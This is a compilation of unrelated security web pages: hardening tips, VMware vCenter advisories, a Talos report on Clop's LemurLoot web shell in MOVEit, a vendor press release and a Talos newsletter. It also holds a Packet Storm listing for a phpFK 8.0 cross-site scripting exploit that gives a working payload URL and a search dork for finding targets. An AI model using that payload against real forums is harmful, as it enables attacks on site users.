From hardening Windows systems to adding access control and segmenting the network, there are steps organizations can take to better secure corporate data.

Having been in the cybersecurity industry since the early '90s, I've witnessed its transformation over many years. Today, my team conducts extensive research and testing to uncover vulnerabilities that organizations often overlook. We've successfully breached the networks of major companies in North America and identified security gaps that could have led to catastrophic consequences if left unmitigated.

In this article, I will share the top three tips that every organization must implement to secure their data and protect themselves from potential attacks based on our daily assessments and discoveries.

**1\. If Your Network Isn't Segmented, It's Not Secure**

Cybersecurity experts preach the benefits of network segmentation, but according to data cited by CIO, only 25% of organizations implement it. If you don't have a logical separation between your most critical information and your everyday employees, you're going to have a hard time securing your network.

To secure corporate data, organizations need to have configurations in place on any floor and office space that touches network ports. Doing so will prevent someone from accessing the network from any device. Even seemingly harmless devices such as printers can pose a threat to a network. During a physical penetration test we were asked to conduct for a large airline, the consultant was able to gain physical access to the airline's internal network via a printer at the gate, all without encountering any employee intervention.

To prevent unauthorized access, it's vital to implement access controls such as passwords or user authentication, as well as keeping firmware up to date to address any known vulnerabilities. And if the corporate backup solution is easily accessible to you, then it's easily accessible to threat actors who can delete the backups and detonate ransomware. In the airline example, network segmentation would isolate printers from other parts of the network to limit the potential impact of a security breach. 

Firewall access controls should be established between internal network segments to limit access to network resources in the event of an attack. Physical or logical access control should also be implemented to prevent unauthorized physical access to devices.

So, keep your devices in check (and your printers) and your network will thank you for it.

**2\. Modernize Your Network as Much as You Can Afford**

Over the past 30 years, Microsoft has made significant strides in the security of Windows and Windows networking. However, the Windows operating system still supports out-of-the-box legacy solutions that go back to Windows 95 — if not further, to Windows for Workgroups. If you've invested in modern operating systems such as Windows 10 or 11, or Windows Server 2016 or newer, there is no reason to continue to support these legacy solutions. By enabling "native mode domain," you can disable all the backward compatibility that may be weakening your network security and immediately enhance the security of your network. 

Companies can better reduce their security risks by eliminating their reliance on "end of life" solutions. Invest in upgrading legacy systems and ensure that all system software is patched through a vulnerability management and remediation program.

**3\. Greater Visibility Into Threat Vectors Through Content Filtering **

To improve your firewall's visibility into traffic leaving your environment, ensure that you have content visibility to block potential threats. The first question to ask is whether your employees are on the corporate network. A work-from-home culture may not scale well for you. However, there's no reason for your server systems to have unrestricted access to the Internet. Leveraging solutions such as content filtering can help you control the type of sites that could be accessed while an attacker is attempting to exploit your organization. For instance, blocking access to Mega.io and other common file-sharing sites used by ransomware threat actors is effective in stopping data exfiltration.

For employees in a work-from-home culture, content-filtering options such as Zscaler or even DNS monitoring solutions such as Umbrella from Cisco are useful not only for controlling the type of websites that corporate devices can access from outside of the building, but also for providing monitoring capabilities in case an employee falls victim to a phishing attack. Corporate assets should still be under the control of the organization, even if they're being used outside the traditional office environment.

Companies can no longer afford to take their eye off the ball when it comes to security measures — even basic protections such as firewalls are only minimally effective at intervening in today's potential threat levels. I cannot stress enough the importance of implementing these three things to be a step ahead of attackers and have visibility into your entire environment.

Lessons From a Pen Tester: 3 Steps to Stay Safer

The VMware vCenter Server contains a memory corruption vulnerability in the implementation of the DCERPC protocol. A malicious actor with network access to vCenter Server may trigger a memory corruption vulnerability which may bypass authentication.

**Description:  
**The vCenter Server contains a heap overflow vulnerability due to the usage of uninitialized memory in the implementation of the DCERPC protocol. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 8.1.

**Known Attack Vectors:  
**A malicious actor with network access to vCenter Server may exploit this issue to execute arbitrary code on the underlying operating system that hosts vCenter Server.  

**Resolution:  
**To remediate CVE-2023-20892 apply the updates listed in the 'Fixed Version' column of the 'Response Matrix' below to affected deployments.

**Workarounds:  
**None.

**Additional Documentation:  
**Async patches for vCenter Servers have been made available for VCF customers. Please see knowledge base article 88287 for more information.  
A supplemental FAQ was created for additional clarification. Please see: https://via.vmw.com/vmsa-2023-0014-qna.  

**Acknowledgments:  
**VMware would like to thank Aleksandar Nikolic of Cisco for reporting this issue to us.

**Notes:  
**None.

**3b. VMware vCenter Server use-after-free vulnerability (CVE-2023-20893)  
**

**Description:  
**The vCenter Server contains a use-after-free vulnerability in the implementation of the DCERPC protocol. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 8.1.

**Known Attack Vectors:  
**A malicious actor with network access to vCenter Server may exploit this issue to execute arbitrary code on the underlying operating system that hosts vCenter Server.  

**Resolution:  
**To remediate CVE-2023-20893 apply the updates listed in the 'Fixed Version' column of the 'Response Matrix' below to affected deployments.

**Workarounds:  
**None.

**Additional Documentation:  
**Async patches for vCenter Servers have been made available for VCF customers. Please see knowledge base article 88287 for more information.  
A supplemental FAQ was created for additional clarification. Please see: https://via.vmw.com/vmsa-2023-0014-qna.  

**Acknowledgments:  
**VMware would like to thank Dimitrios Tatsis of Cisco Talos for reporting this issue to us.

**Notes:  
**None.

**3c. VMware vCenter Server out-of-bounds write vulnerability (CVE-2023-20894)  
**

**Description:  
**The vCenter Server contains an out-of-bounds write vulnerability in the implementation of the DCERPC protocol. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 8.1.

**Known Attack Vectors:  
**A malicious actor with network access to vCenter Server may trigger an out-of-bound write by sending a specially crafted packet leading to memory corruption.  

**Resolution:  
**To remediate CVE-2023-20894 apply the updates listed in the 'Fixed Version' column of the 'Response Matrix' below to affected deployments.

**Workarounds:  
**None.

**Additional Documentation:  
**Async patches for vCenter Servers have been made available for VCF customers. Please see knowledge base article 88287 for more information.  
A supplemental FAQ was created for additional clarification. Please see: https://via.vmw.com/vmsa-2023-0014-qna.  

**Acknowledgments:  
**VMware would like to thank Dimitrios Tatsis of Cisco Talos for reporting this issue to us.

**Notes:  
**None.

**3d. VMware vCenter Server out-of-bounds read vulnerability (CVE-2023-20895)  
**

**Description:  
**The vCenter Server contains a memory corruption vulnerability in the implementation of the DCERPC protocol. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 8.1  

**Known Attack Vectors:  
**A malicious actor with network access to vCenter Server may trigger a memory corruption vulnerability which may bypass authentication.

**Resolution:  
**To remediate CVE-2023-20895 apply the updates listed in the 'Fixed Version' column of the 'Response Matrix' below to affected deployments.

**Workarounds:  
**None.

**Additional Documentation:  
**Async patches for vCenter Servers have been made available for VCF customers. Please see knowledge base article 88287 for more information.  
A supplemental FAQ was created for additional clarification. Please see: https://via.vmw.com/vmsa-2023-0014-qna.  

**Acknowledgments:  
**VMware would like to thank Dimitrios Tatsis of Cisco Talos for reporting this issue to us.

**Notes:  
**None.

**3e. VMware vCenter Server out-of-bounds read vulnerability (CVE-2023-20896)  
**

**Description:  
**The vCenter Server contains an out-of-bounds read vulnerability in the implementation of the DCERPC protocol. VMware has evaluated the severity of this issue to be in the Moderate severity range with a maximum CVSSv3 base score of 5.9.

**Known Attack Vectors:  
**A malicious actor with network access to vCenter Server may trigger an out-of-bounds read by sending a specially crafted packet leading to denial-of-service of certain services (vmcad, vmdird, and vmafdd).  

**Resolution:  
**To remediate CVE-2023-20896 apply the updates listed in the 'Fixed Version' column of the 'Response Matrix' below to affected deployments.

**Workarounds:  
**None.

**Additional Documentation:  
**Async patches for vCenter Servers have been made available for VCF customers. Please see knowledge base article 88287 for more information.  
A supplemental FAQ was created for additional clarification. Please see: https://via.vmw.com/vmsa-2023-0014-qna.  

**Acknowledgments:  
**VMware would like to thank Dimitrios Tatsis and Aleksandar Nikolic of Cisco Talos for reporting this issue to us.

**Notes:  
**None.

CVE-2023-20895: VMSA-2023-0014

A rundown of Talos open-source software tools, which anyone in the security community can download for free, and use for research, skills, training, or integration into existing security infrastructure.

Thursday, June 22, 2023 08:06

Cisco Talos’ remit is not just to protect our customers from cyber attacks. We also strive to make the internet a better and safer place.

That’s one of the reasons why we create and release open-source software, for free. These tools are available to anyone in the security community to enhance their skills or to use and develop within their security operations.

We currently have 27 tools, all of which are available to download on our website at talosintelligence.com/software and on GitHub.

Here are the categories that you can find our open-source tools in:

*   Detection and protection engines: Software suites that can work alone or be integrated into broader security systems.
*   Decrytors for decrypting various samples of malware or ransomware.
*   Professional tools for malware analysis and the discovery of vulnerabilities.

In a newly released video from Talos, Martin Lee, our EMEA lead for Strategic Planning and Communications, discusses these categories and how defenders can use our open-source tools:

**Snort**

Our most well-known open-source tool is Snort, which is a leading intrusion prevention and detection system. It is the same engine that is included in Cisco Secure Firewall.

Anyone can download Snort and use it in their security operations to protect against network attacks and/or develop their own network rules.

In this episode of ThreatWise TV, Cisco Talos researchers Brandon Stultz and Nick Mavis not only provide a great overview of Snort 3.0, they also touch on the type of vulnerabilities that tend to trigger the most Snort signatures:

Check out the range of Talos open-source tools available, and do keep the security community informed of how you’re developing them so that we can all learn from each other.

Video: How Talos’ open-source tools can assist anyone looking to improve their security resilience

An access control issue in Makves DCAP v3.0.0.122 allows unauthenticated attackers to obtain cleartext credentials via a crafted web request to the product API.

**Any Payment  
Any Place  
Any Processor**

**Turn-Key Payment Solutions for any Point of Sale**

We build industry-standard payment solutions for Point of Sale providers to meet the needs of merchants in any market. Security-centric solutions for virtually all processing platforms route through dozens of pre-certified devices from leading OEMs – all via a universal payments integration, empowering merchants to create a unified payments experience across brick and mortar, online, mobile and unattended applications. 

**Retail**

**Retail**

Solutions for General Retail, Clothing Stores, Department Stores and Specialized Retail

**Restaurant/Bar**

**Restaurant/Bar**

Solutions for Fine Dining, Casual Dining, Contemporary-Casual, Bars, Buffets and Cafes

**QSR/Fast-Casual**

**QSR/Fast-Casual**

Solutions for Fast-Food, Fast-Casual, Pop-ups and Food Trucks

**Parking**

**Parking**

Solutions for Hotels, Hospitals, Municipalities, Universities, Airports and Retail Centers

**Lodging**

**Lodging**

Solutions for Hotel, Bed and Breakfast, Motel and Restaurant

**Healthcare**

**Healthcare**

Solutions for Hospital, Pharmacy, Private practice, Dental and Veterinary

**Grocery**

**Grocery**

Solutions for High Volume Grocery, Bodegas and Convenience Stores

**Unattended**

**Unattended**

Solutions for Car Wash, Parking, Vending, Kiosk and Drive-Thru

**eCommerce**

**eCommerce**

Solutions for any business seeking to take payments online

**Cannabis**

**Cannabis**

Solutions for Dispensaries, Hemp and CBD

**Processor-Agnostic**

Datacap’s industry-standard payments integration delivers instant access to every major processor in North America and a best-in-class feature-set.   
In addition to major processors, Datacap also supports 1,000’s of ISOs and merchant service providers.

**Hardware Agnostic**

**One-to-many devices integration**

Datacap supports dozens of plug and play EMV-ready devices from leading OEMs via a universal hardware integration. 

\+ Other Industry-leading OEMs

**What our Partners are saying**

“We have used Datacap for many years for our in-store solutions, so it was a no-brainer for us to use them for e-Commerce as well. Now everything is tied together - payments, Point of Sale and inventory.”

Lahav WolachPresident/CEO Xsitra

“We started using Datacap in 2018 to add payments capabilities to our kiosks. Now, we are adding support cross-platform tokens that our customers can use to initiate payments in-store or via their own devices (eCommerce) for a true omnichannel experience. ”

John MillerCEO PopID

“Datacap has been phenomenal to work with. We are so happy to have them as a part of our greenbox machines. I swear by them and would recommend them to anyone looking to add payments to their Point of Sale.”

Zack JohnsonFDR & CEO greenbox Robotics

“My experience with Datacap has been great. Datacap helped me take a small store into something that can compete with the larger stores in terms of security, automation, and ease of use.”

Sal SalmanOwner Natural K9 Supplies

“We like Datacap so much, we stopped further development on competing platforms and encourage anyone using our system new and current to migrate to this solution. For new installations we generally all but require it.”

David De CoursyV.P. R & D Datapoint POS

“Datacap is a great partner that helps us navigate an ever-changing payments landscape so we can offer a variety of devices for most processors, with a minimum of upkeep on our end.”

Will AtkinsonPresident Cap Software

“Our EMV solution with Datacap adds another layer of protection against fraud for our customers. The process of using EMV was easy!  Our POS system made for a seamless transition from swiping cards to the chip. A quick session of staff training and we were off and running.”

Brandon BakerDir Fulfillment Svcs 2Touch POS

“Datacap's payments solution handles all sensitive card data and sends it directly to the Internet. It completely removes Brunswick POS and scoring system networks from PA-DSS scope and vastly lowers a bowling center’s IT complexity and cost”

Brandon MeigsDirector of Products Brunswick

“Datacap’s support and payment solutions helped us to make the move to EMV and the transition of our merchant's gift/loyalty platforms very easy.”

Megan HinmanPresident ProTouch Systems

"We use Datacap's NETePay software, which allows us to accept EMV payments in Canada and in the United States. With Datacap’s one-to-many approach, we will be able to easily swap PIN pads in the future without making any code changes"

Matthew TrappProduct Manager uBreakiFix

“Integrating with Datacap was the best decision we made this year! We are now able to offer an integrated EMV & PIN debit solution, which allows us to satisfy the needs of more of our customers."

Vanessa Ezri Business Development LivePOS

“The seamless functionality of Datacap's GIFTePay and Factor4’s gift & loyalty program makes it easy to issue, track and reconcile gift cards between locations. Our integration has enabled us to expand our market reach and offer our cutting-edge gift & loyalty solution to more merchants.”  

Francisco EoyoqueOwner Monte Alban

“One of the reasons we chose Datacap and Filmbot was because of their flexible pricing model. This allows us to budget accordingly for each year and know what we are spending without having to worry about per-transaction fees.”

Matthew Viragh Owner Nitehawk Cinemas

Previous

Next

**Let's talk Payments!**

CVE-2023-27243: Home

The Clop ransomware group has claimed responsibility for exploiting the vulnerability to deploy a previously unseen web shell, LemurLoot.

Friday, June 16, 2023 14:06

*   Cisco Talos is monitoring recent reports of exploitation attempts against CVE-2023-34362, a SQL injection zero-day vulnerability in the MOVEit Transfer managed file transfer (MFT) solution that has been actively targeted since late May 2023.
*   Successful exploitation could lead to remote code execution (RCE), allowing unauthenticated adversaries to execute arbitrary code to support malicious activity, such as disabling anti-virus solutions (AV) or deploying malware payloads.
*   The Clop ransomware group has claimed responsibility for exploiting the vulnerability to deploy a previously unseen web shell, LemurLoot, to exfiltrate victims’ data and extort payments, and Microsoft has attributed these attacks to the same group, according to public reporting.
*   Two more vulnerabilities have since been found in MOVEit Transfer solutions, CVE-2023-35036 and CVE-2023-35708, although at this time, they are reportedly not being actively exploited.

**CVE-2023-34362 details and ongoing exploitation**

On May 31, the Progress Software Corporation released a security advisory warning customers of a vulnerability in internet-facing and on-premises instances of their MOVEit Transfer solution, which could lead to escalated privileges and potential unauthorized access to an environment. The vulnerability, CVE-2023-34362, has been actively exploited since May 27, but the threat actors may have begun experimenting to compromise it as early as 2021.

As of late May, there were approximately 2,500 exposed MOVEit instances primarily located in the U.S., according to public reporting, highlighting its prevalence in enterprise environments.

**Vulnerability details**

The MOVEit Transfer vulnerability, CVE-2023-34362, covers multiple flaws that an attacker can chain together to achieve RCE with elevated privileges. The first part of the exploit chain uses SQL injection to obtain a sysadmin API token. That token can then be used to call a deserialization function that does not properly validate input, allowing for remote code execution.

A second vulnerability, CVE-2023-35036, was assigned and Progress Software released patches and an advisory addressing this issue. Patches for CVE-2023-35036 are meant to mitigate multiple parts of the successful exploit chain initially discovered to have been used during the exploitation of the first vulnerability, CVE-2023-34362.

On June 15, 2023, another vulnerability was identified, CVE-2023-35708. Progress Software is in the process of releasing installable patches for this issue although DLL drop-ins.

**Ongoing exploitation**

The Clop ransomware group released a public statement on their Tor data leak site on June 5, claiming responsibility for the attacks and threatening to publish victims’ data if the extortion demand is not paid. The group provided a deadline of June 14 for victims to initiate contact or else their company name would be posted on the data leak site as a warning. At this time, no data has been published but they have begun publicly naming and shaming affected companies.

  
In this activity, the Clop ransomware group exploited CVE-2023-34362 to install a previously unknown web shell now dubbed “LemurLoot”.

Written in C#, LemurLoot is designed to exfiltrate data and execute on systems running MOVEit Transfer. The web shell is deployed with a hardcoded, 36-character GUID-formatted value used to authenticate incoming connection requests from the threat actor. The authentication code value must be present in the “X-siLock-Comment” header field without which an HTTP 404 error code will be returned to the operator. If the value is correct, the web shell confirms it can accept taskings and connects to an attacker-controlled SQL server.

LemurLoot uses the header field “X-siLock-Step1’ to receive the commands from the operator. There are two well-defined commands: -1 and -2. The fields “X-siLock-Step2’ and  “X-siLock-Step3” are used to hold parameters to be used when no command has been defined.

**_Command “-1”:_** _LemurLoot retrieves Azure system settings from MOVEit Transfer and performs SQL queries to retrieve files._

**_Command “-2”:_** _LemureLoot deletes a user account with the LoginName and RealName set to "Health Check Service"._

For any other values of “X-siLock-Step1,” the web shell will open a file specified by the folder and file name in “X-siLock-Step2”, and “X-siLock-Step3” respectively and retrieve it for the operator.

If no values of “X-siLock-Step2” and “X-siLock-Step3” are specified, then the web shell creates the “Health Check Service” admin user and creates an active session.

**Recommendations  
**

Progress Software Corporation offers several mitigations for safeguarding against potential exploitation of this vulnerability and best practices for network security:

*   Please refer to the advisories for CVE-2023-34362, CVE-2023-35036 and CVE-2023-35708 to apply corresponding patches.
*   Modify firewall rules to deny HTTP and HTTPs traffic to MOVEit Transfer on ports 80 and 443 until the patch can be applied.
*   Delete unauthorized files and user accounts and reset service account credentials.
*   Continuously monitor networks for early detection in the event of a compromise.
*   Update network firewall rules to only allow connections to the MOVEit Transfer infrastructure from known trusted IP addresses.
*   Update remote access policies to only allow inbound connections from known and trusted IP addresses, and use certificate-based access control.
*   Enable multi-factor authentication. Multi-factor authentication (MFA) protects MOVEit Transfer accounts from unverified users when a user's account password is lost, stolen, or compromised.

**Coverage**

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

Cisco Talos is releasing the following Snort SIDs to protect against this threat:

*   61876 - 61879
*   61936
*   300582, 300583

The following ClamAV signatures have been released to detect malware artifacts related to this threat:

*   Win.Ransomware.Clop-6881304-0
*   Win.Ransomware.Clop-6887770-0

**IOCs  
****Webshell (LemurLoot)**

702421bcee1785d93271d311f0203da34cc936317e299575b06503945a6ea1e0  
9d1723777de67bc7e11678db800d2a32de3bcd6c40a629cd165e3f7bbace8ead  
9e89d9f045664996067a05610ea2b0ad4f7f502f73d84321fb07861348fdc24a  
d49cf23d83b2743c573ba383bf6f3c28da41ac5f745cde41ef8cd1344528c195  
b1c299a9fe6076f370178de7b808f36135df16c4e438ef6453a39565ff2ec272  
6015fed13c5510bbb89b0a5302c8b95a5b811982ff6de9930725c4630ec4011d  
48367d94ccb4411f15d7ef9c455c92125f3ad812f2363c4d2e949ce1b615429a  
2413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f31acbc5  
e8012a15b6f6b404a33f293205b602ece486d01337b8b3ec331cd99ccadb562e

Active exploitation of the MOVEit Transfer vulnerability — CVE-2023-34362 — by Clop ransomware group

Coalition ESS uses AI to generate dynamic risk scores to help organizations mitigate their most critical risks faster.

**SAN FRANCISCO** **— June 15, 2023** **—** Coalition, the world's first Active Insurance provider designed to prevent digital risk before it strikes, today announced the Coalition Exploit Scoring System (Coalition ESS), a unique vulnerability scoring system that helps risk managers mitigate potential cyber threats. Developed by Coalition Security Labs, the company's research and innovation center, Coalition ESS is a security risk prioritization scoring system that leverages real-time monitoring and dynamic scoring to enable businesses of all sizes to efficiently understand which vulnerabilities to patch first. 

"In cybersecurity, timing is everything. Thousands of new vulnerabilities are published monthly, and it’s nearly impossible for IT and security teams to quickly understand and address them all. Defenders need a more efficient way to sift through the noise and prioritize which vulnerabilities to remediate," said Tiago Henriques, Coalition's Head of Security Research. "With Coalition ESS, they have an early source of truth to evaluate which risks to prioritize mitigating _before_ an incident occurs."

Coalition ESS leverages artificial intelligence and large language modeling to scan the descriptions used within newly released CVEs (Common Vulnerabilities and Exposures) and compares them to previously published vulnerabilities to predict the likelihood of exploitability. The result is two probability scores: the Exploit Availability Probability, or the likelihood that code for an exploit will be publicly available, and the Exploit Usage Probability, or the likelihood that threat actors will use an exploit to execute an attack. These scores combined give security managers and IT professionals a prioritization list outlining which vulnerabilities pose the greatest threat, saving time and resources in an otherwise arduous decision-making process. 

Coalition ESS scores are dynamic, responding to changes in available exploit information, unlike the scores derived from the Common Vulnerability Scoring System (CVSS). Coalition ESS scores are available up to one week from the initial vulnerability announcement, unlike other systems where scoring a vulnerability can take anywhere from one week up to one month.

"We created Coalition ESS to prioritize our own vulnerability management efforts as we are often the first line of defense for hundreds of thousands of assets of our customers at scale. We use ESS to evaluate and notify our policyholders about which vulnerabilities have the highest potential to negatively affect them and, today, are releasing it to the broader community," continued Henriques. 

Coalition ESS is available today for public use at: ess.coalitioninc.com. To learn more about Coalition’s cybersecurity research and innovation center, Security Labs, visit: www.coalitioninc.com/security-labs.

Coalition Releases Security Vulnerability Exploit Scoring System

phpFK version 8.0 suffers from a cross site scripting vulnerability.

**phpFK 8.0 Cross Site Scripting**

Posted Jun 15, 2023

Authored by indoushka

phpFK version 8.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 485c60ad53bb4abb98ff8bd8586f25cee5d5a57abf5f55c1615b45b7b607c8e0

Download | Favorite | View

**phpFK 8.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : phpFK v8.0 version XSS Vulnerability                                                                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit)                                               | | # Vendor    : https://www.frank-karau.de/demo-forum/                                                                             |  | # Dork      : Powered by: phpFK                                                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /forum/thread.php?board=4&thema=349'"><svg/onload=prompt(/_indoushka_/);>{{7*7}}[+] http://127.0.0.1/forum/thread.php?board=4&thema=349%27%22%3E%3Csvg/onload=prompt(/_indoushka_/);%3E{{7*7}}Greetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |                                                                                                                                              |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,379)
*   Arbitrary (16,086)
*   BBS (2,859)
*   Bypass (1,697)
*   CGI (1,024)
*   Code Execution (7,179)
*   Conference (678)
*   Cracker (841)
*   CSRF (3,321)
*   DoS (23,204)
*   Encryption (2,363)
*   Exploit (51,247)
*   File Inclusion (4,196)
*   File Upload (956)
*   Firewall (821)
*   Info Disclosure (2,722)
*   Intrusion Detection (885)
*   Java (3,003)
*   JavaScript (842)
*   Kernel (6,586)
*   Local (14,394)
*   Magazine (586)
*   Overflow (12,621)
*   Perl (1,423)
*   PHP (5,129)
*   Proof of Concept (2,335)
*   Protocol (3,567)
*   Python (1,510)
*   Remote (30,539)
*   Root (3,567)
*   Rootkit (506)
*   Ruby (609)
*   Scanner (1,633)
*   Security Tool (7,856)
*   Shell (3,165)
*   Shellcode (1,211)
*   Sniffer (893)
*   Spoof (2,189)
*   SQL Injection (16,237)
*   TCP (2,395)
*   Trojan (687)
*   UDP (884)
*   Virus (664)
*   Vulnerability (31,601)
*   Web (9,579)
*   Whitepaper (3,745)
*   x86 (961)
*   XSS (17,701)
*   Other

**File Archives**

*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   August 2022
*   July 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (1,980)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,921)
*   Debian (6,762)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,321)
*   HPUX (879)
*   iOS (345)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (45,894)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (482)
*   RedHat (13,380)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,666)
*   UNIX (9,249)
*   UnixWare (186)
*   Windows (6,558)
*   Other

phpFK 8.0 Cross Site Scripting

The information leak threats are certainly new, but the education and messaging from security evangelists (and even just anyone trying to educate an older or less security-savvy family member) doesn’t change.

Thursday, June 15, 2023 14:06

Welcome to this week’s edition of the Threat Source newsletter.

Talos’ recent blog post on the dangers posed by the newly released “.zip” top-level domain (TLD) recently outlined how threat actors could create real URLs that look like file names and trick users into clicking on their links. .Zip and other TLDs that share characters with filename extensions also opens the door to accidental information leaks.

But these are far from the first TLDs to be problematic for users, especially those who are less educated about the verbiage that makes the internet work as intended.

The same day .zip was released as a TLD for anyone to register, the Internet Corporation for Assigned Names and Numbers (ICANN) also made .mov available as a TLD. The tricks here are obvious — think of someone who would see a file named “WeddingVideo.mov” and just assume it was from their legitimate family member.

(As a side note, I very much want to own jon.dad now, as .dad is also a TLD released in this batch.)

Attackers have long used tricky URLs to lure victims, though. We’ve written several times about how typo-squatted domains are used in cyber attacks. This is when an adversary takes a legitimate URL like twitter.com and uses a slightly modified version to make it just close enough that it looks like the real thing, like tvitter\[.\]com or twltter\[.\]com. And there are a variety of ways any slight DNS misconfiguration (which goes beyond just typing the URL into a browser window) could lead to information leaks or phishing lures.

The ever-present .com is also a common TLD that gets used to stand up legitimate-looking names for actors.

As security researcher and content creator Bobby Rauch pointed out in this recent post on Medium, attackers have used legitimate websites to mask malicious URLs to avoid detection and suspicion from the target.

For example, they can insert the “@” operator in a website URL to send someone to a different website, even though it may look legitimate.

The URL https://google\[.\]com@bing\[.\]com actually takes the user to bing.com even though it looks like it will send them to Google initially. Regardless of the TLD used there, an attacker could leverage it to trick someone who isn’t savvy enough to examine each detail of a URL.

There are other TLDs that could easily be used in convincing phishing emails or lure documents: .media is a long-available TLD that could easily be worked into a seemingly legitimate-looking file, and I’m assuming I wasn’t the only person to ever assume that the .run TLD could double as a file extension for a Mac driver.

There are certain dangers that .zip and .mov URLs pose to users, but we’ve always known that everyone needs to quadruple-check the URL they plan on visiting. The information leak threats are certainly new, but the education and messaging from security evangelists (and even just anyone trying to educate an older or less security-savvy family member) doesn’t change.

**The one big thing**

June’s Patch Tuesday is the first in a while in which Microsoft’s security updates didn’t include a warning against a zero-day vulnerability. Each of the previous four months included at least one issue that attackers were actively exploited in the wild. Still, Microsoft disclosed almost 70 vulnerabilities across its suite of software and hardware, including several that are “more likely” to be exploited. Cisco Talos specifically discovered two vulnerabilities in Microsoft Excel that the company patched Tuesday. These are important-severity remote code execution vulnerabilities that are triggered if the targeted user opens an attacker-created file.

**Why do I care?**

It’s certainly good news that there are no new zero-days included in this week’s Patch Tuesday — we’ve had enough of those already this year across all software manufacturers. But there are multiple vulnerabilities that are critical and have a very high severity score of 9.8 out of 10 that should be patched immediately.

**So now what?**

A complete list of all the vulnerabilities Microsoft disclosed this month is available on its update page. All Microsoft users should patch immediately or take appropriate mitigation steps as outlined in these advisories. Talos also released several Snort rules that can detect the exploitation of these vulnerabilities or block the attacker from taking malicious actions.

**Top security headlines of the week**

Progress Software released patches for several security vulnerabilities it discovered in its MOVEit file transfer software while researching a high-profile zero-day that has already led to multiple data breaches across the globe. The advisory for the new vulnerabilities states that they “could potentially be used by a bad actor to stage an exploit” but, currently, there is no evidence that they have been exploited in the wild. Security researchers have also published new proof of concept code to exploit CVE-2023-34362, the zero-day in MOVEit, which found that an attacker could exploit the issue to execute remote code on the targeted machine. It previously had only been identified as an SQL injection issue. Attackers have exploited CVE-2023-34362 to steal data from organizations using MOVEit, including the BBC, the Minnesota Department of Education and the Canadian province of Nova Scotia. (SecurityWeek, SC Media)

A group of high-profile American investors is reportedly considering purchasing assets belonging to NSO Group, the Israeli tech firm behind the infamous Pegasus spyware. The potential buyers include a financier who’s long been involved in Hollywood movies and a family member behind the Wrigley’s gum brand. Security experts and journalists have wondered about the financial status of NSO Group after it was added to the U.S. Department of Commerce’s list that bans the U.S. government and American companies from doing business with them. Meanwhile, the NSO Group has also reportedly been paying high-profile lobbying groups in D.C. to try and convince Congress to move the company from the banned list. The materials used by the lobbying groups reportedly state that the NSO Group’s software has a new “human rights governance compliance program.” (The Guardian, Haaretz)

America’s top cybersecurity official warned of the dangers of cyber attacks from Chinese state-sponsored actors, warning that critical infrastructure would become a key target in the event of a military conflict with China. Jen Easterly, speaking at an appearance at the Aspen Institute this week, said that China’s cyber espionage and offensive capabilities are an “epoch-defining threat.” Easterly, the director of the U.S. Cybersecurity and Infrastructure Security Agency (CISA), said Chinese threat actors were also likely to carry out cyber attacks against American infrastructure, like oil pipelines and electrical grids, should the two countries ever get into a kinetic military conflict. National security experts have long warned about a U.S.-China conflict if China ever invaded Taiwan. "Given the formidable nature of the threat from Chinese state actors, given the size of their capability, given how much resources and effort they're putting into it, it's going to be very, very difficult for us to prevent disruptions from happening," Easterly said. (CNBC, Reuters)

**Can’t get enough Talos?**

*   Talos Takes Ep. #142: Horabot is here to do "horable" things to your email inbox
*   The Need to Know: What does it mean when ransomware actors use “double extortion” tactics?
*   Vulnerability Spotlight: Two remote code execution vulnerabilities disclosed in Microsoft Excel
*   Threat Roundup for June 2 - 9
*   ThreatWise TV: Snort trends

**Upcoming events where you can find Talos**

**BlackHat** **(Aug. 5 - 10)**

Las Vegas, Nevada

**Most prevalent malware files from Talos telemetry over the past week**

  
**SHA 256:** a8a6d67140ac6cfec88b748b8057e958a825224fcc619ed95750acbd1d7a4848  
**MD5:** 8cb26e5b687cafb66e65e4fc71ec4d63  
**Typical Filename:** dattService.exe  
**Claimed Product:** Datto Service Monito  
**Detection Name:** W32.Auto:a8a6d6.in03.Talos

